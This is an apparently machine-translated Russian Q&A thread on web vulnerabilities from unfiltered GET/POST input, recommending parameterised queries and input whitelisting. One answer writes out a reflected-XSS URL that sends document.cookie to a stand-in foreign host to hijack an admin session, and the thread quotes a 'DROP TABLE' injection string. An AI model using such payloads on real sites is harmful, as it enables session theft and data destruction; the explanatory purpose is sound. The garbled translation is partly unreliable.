Я хочу знать, какие уязвимости используются при непосредственном использовании GET и POST. т. е. без функции обрезки и добавок, а mysql – как-то вроде этого.
Мой вопрос:
Что еще нам нужно позаботиться , играя с GET и POST.
Какие атаки существуют, например, SQL-инъекция?
В общем, и не ограничиваясь GET и POST, а также любыми данными, поступающими извне системы (включая файлы cookie в случае веб-приложений):
Почти все уязвимости сводятся к «Пользователь может запускать любой код, который им нравится, в том контексте, в котором вы передаете свой вход».
Вам нужно подумать о том, что вы делаете с данными. Ищите список возможных вещей, которые могут пойти не так, когда принимать испорченный вход в любую систему в мире не приведет к составлению исчерпывающего списка.
И как в сторону: забудьте addlashes (это не эффективно), забудьте mysql_real_escape (с этим слишком легко совершить ошибку). Использование параметризованных запросов: как я могу предотвратить SQL-инъекцию в PHP?
Простейшая возможная атака XSS с небольшой частью социальной инженерии
Предположим, у вас есть простое PHP-приложение, которое использует сеансы для отслеживания пользователей. И у него есть какой-то админ-интерфейс, где пользователи с более высокими привилегиями могут позволить редактировать контент.
И давайте предположим, что вы вошли в систему как администратор этого сайта и что внутри этого приложения есть файл request.php, содержащий следующий фрагмент кода
echo $GET['action']; И теперь кто-то обнаруживает это, строит следующий URL http: //yourapp/request.php? Action = document.location.href = ' http: // foreignsite? C = ' + document.cookie
Затем кто-то добавляет этот url на tinyurl.com, что сокращает его до чего-то вроде http://tinyurl.com/x44534 , затем он отправляет вам электронное письмо, в котором говорится: «Эй, посмотрите на это, вы мне нахожу это полезным» ,
Вы щелкаете по ссылке, tinyurl.com переводит короткий URL-адрес обратно в длинный, перенаправляет ваш браузер на него, ваш request.php счастливо выводит Javascript из запроса, ваш браузер видит его, выполняет его и, как результат, человек который запускает http: // foreignsite получает все ваши файлы cookie.
Затем ему просто нужно вставить эти значения cookie в свой браузер, и вуаля, у него есть мгновенный доступ к интерфейсу администратора сайта. Потому что он получил ваш cookie сессии.
Это описывает простейшую возможную атаку XSS, она действительно упрощенная, вероятно, не будет работать в реальной жизни, но, надеюсь, вы получили основную идею о том, как она работает.
Если вы берете какую-либо переменную GET или POST и эффективно «выполняете» ее, не передавая ее через какой-либо фильтр, вы открываете себя для инъекций. SQL-инъекция, очевидно, является очень распространенным случаем, но если вы делаете какие-либо eval() с этими данными (на языке программирования или любой другой базе данных или интерпретируемой ситуацией), включая передачу HTML обратно в браузер, который будет интерпретироваться на клиент), то осведомленные злоумышленники могут создавать входные данные, которые заставят ваше приложение делать непредвиденные действия.
Как уже писали люди, любой пользовательский ввод должен рассматриваться как злонамеренный , независимо от того, насколько безопасным вы себя чувствуете.
Разработчики думают о том, как защитить код в момент их написания, и когда они вносят изменения, в то время как хакеры думают о том, чтобы испортить этот код, когда они решат иметь трещины на нем, которые могут быть сегодня, завтра или через два года. То, что могло казаться совершенно безопасным в момент написания кода, может оказаться полезным в какой-то более поздней точке.
В принципе, все входные данные должны быть отфильтрованы, проверены и подвергнуты санитарной обработке независимо от того, для чего они используются в любой момент времени. Кто-то может пропустить дезинфекцию части пользовательского ввода, потому что «он не будет использоваться для чего-либо, что может нанести вред», а затем через 11 месяцев вниз, кто-то из команды решает использовать предположительно дезинфицированные данные, которые были назначены переменной, в SQL-запросе или вызове системного exec, и вся система ударяет.
То, что должно быть сделано:
белый список вместо черного списка – знайте, какие типы ввода вы ожидаете и соответствующим образом преобразуете пользовательские данные, идентификаторы обычно являются целыми числами, поэтому безопасно отображать все идентификаторы, представленные пользователем как целые числа. – знать, когда вы ожидаете небольшие объемы данных, и когда вы ожидаете больших результатов. Личные имена обычно относительно короткие и не содержат цифр, «1», «DROP TABLE customers»; это не настоящее имя, и вы можете знать, что без добавления косой черты.
затем черный список на всякий случай – примените стандартную логику экранирования ко всем данным, которые были сделаны через ваш белый список, на всякий случай
затем фильтровать и проверять еще – пока вы не почувствуете себя в безопасности
в основном CSRF, XSS и обход каталога:
http://en.wikipedia.org/wiki/Cross-site_request_forgery
Это больше, чем просто «получить» или «отправить». Все зависит от программирования, которое вы сделали для их поддержки. Если вы просто загружаете статическую страницу html, не так много уязвимостей. Если, с другой стороны, вы устанавливаете и изменяете данные, получая запросы, эти уязвимости могут быть бесконечными, просто найдите случаи, когда google-бот уничтожает данные из мест, которые использовали «get» для отправки вещей.
Все зависит от того, для чего вы используете данные, а уязвимости ограничены для получения или установки. Санируйте свои входы.
Данные GET и POST – это данные, которые напрямую отправляются от пользователя. Вы получаете его необработанным, без проверки или проверки между пользователем и вашей программой. Даже если вы должны проверить форму, которая должна инициировать данные, злоумышленник может вручную обработать запрос любыми данными, которые он хочет. Поэтому вы всегда должны обрабатывать данные запроса как ненадежный пользовательский ввод.
Существует ряд атак, которые полагаются на кодер, забывая, что данные запроса недостоверны, но наиболее известным является SQL-инъекция. Коренной причиной SQL-инъекции является построение запроса путем ручного конкатенации строк, некоторые из которых являются ненадежными пользовательскими вводами. Это означает, что вы сообщаете своей базе данных о выполнении ненадежного ввода пользователем.
Наивное решение для SQL-инъекции – это проверка входных данных, а затем объединение их в строку запроса, но это также плохая форма. Вы полагаетесь на свою логику проверки, чтобы сделать строку безопасной, и если вы неправильно ее используете – или логика глючит – тогда вы снова подвергаетесь атакам.
Правильное решение состоит в том, чтобы отделить ваш запрос от содержащихся в нем данных. Практически все адаптеры баз данных поддерживают этот подход, и если ваш по какой-то причине не подходит, он не подходит для использования. Наиболее распространенная идиома (без особого языка):
myDB.query ("select * from Stuff, где id =?", [42]);
Это гарантирует (в такой системе), что параметры не выполняются. Строка запроса построена из полностью доверенных данных, а недоверенные данные разделены. В худшем случае этот подход, применяемый к неправильному вводу, может привести к неправильным данным, а не к неправильной команде.
Такой подход для избежания внедрения SQL подчеркивает центральный принцип, который применяется ко всем видам атак данных запроса: данные запроса не являются вашими, и это небезопасно. При обращении с любым пользователем, включая данные запроса, всегда предполагайте, что он происходит от злоумышленника с глубоким знанием вашей системы. Это может показаться параноидальным, но оно защитит вас.
Все суперглобалы могут манипулировать пользовательскими агентами. $ _SERVER, $ _POST, $ _GET и т. Д.